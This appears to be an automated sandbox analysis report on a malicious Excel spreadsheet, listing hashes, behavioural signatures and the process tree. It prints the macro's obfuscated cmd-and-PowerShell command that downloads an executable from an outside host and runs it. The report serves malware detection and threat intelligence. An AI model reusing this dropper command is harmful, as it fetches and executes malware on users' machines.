Analysis
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max time kernel
47s -
max time network
40s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
22-07-2024 22:23
Behavioral task
behavioral1
Sample
4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls
Resource
win10v2004-20240709-en
General
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Target
4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls
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Size
72KB
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MD5
7028a5d58b15ac3cd43f522747a241aa
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SHA1
6efd62bc2b2d29df559166c4a9e1855a82936415
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SHA256
4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082
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SHA512
81adcdb6e3e153c2e75f92937e9ca5f4ff46aa8ef513ce8f70312e2126982688a835f6b01f95c5bfbdc5ce83c6c4f362491bceeb5474f98d0501a7f9e48dce0d
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SSDEEP
1536:5aOadvxHlcaQPy0iWYOcG4BDhnxD7oOExxEtjPOtioVjDGUU1qfDlaGGx+cL2QnZ:5aOadvxHlcaAy0iWYOcG4BDhnxD7oOEe
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3088 1620 CMd.exe 83 -
pid Process 2556 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1620 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2556 powershell.exe 2556 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2556 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1620 EXCEL.EXE 1620 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1620 wrote to memory of 3088 1620 EXCEL.EXE 88 PID 1620 wrote to memory of 3088 1620 EXCEL.EXE 88 PID 3088 wrote to memory of 2556 3088 CMd.exe 90 PID 3088 wrote to memory of 2556 3088 CMd.exe 90
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\SYSTEM32\CMd.exeCMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3088 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2556
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5ed04763581fcd9518a87267e78e4a3b6
SHA12cd1c61e0e23f179d4195dfeabf64fdd158763bd
SHA2569f3813a6953d6f82685e490229711ece45b82f80f18c4ec3ea05ec322d1349f9
SHA512ceca5f8483225397faf3e34bb497ac7edb11c30a341fabe2ca965b8649b5cc0e25022c284ef0c65347c4b0926075b8dcd6ab53123fe7b7919eaec94315fb351d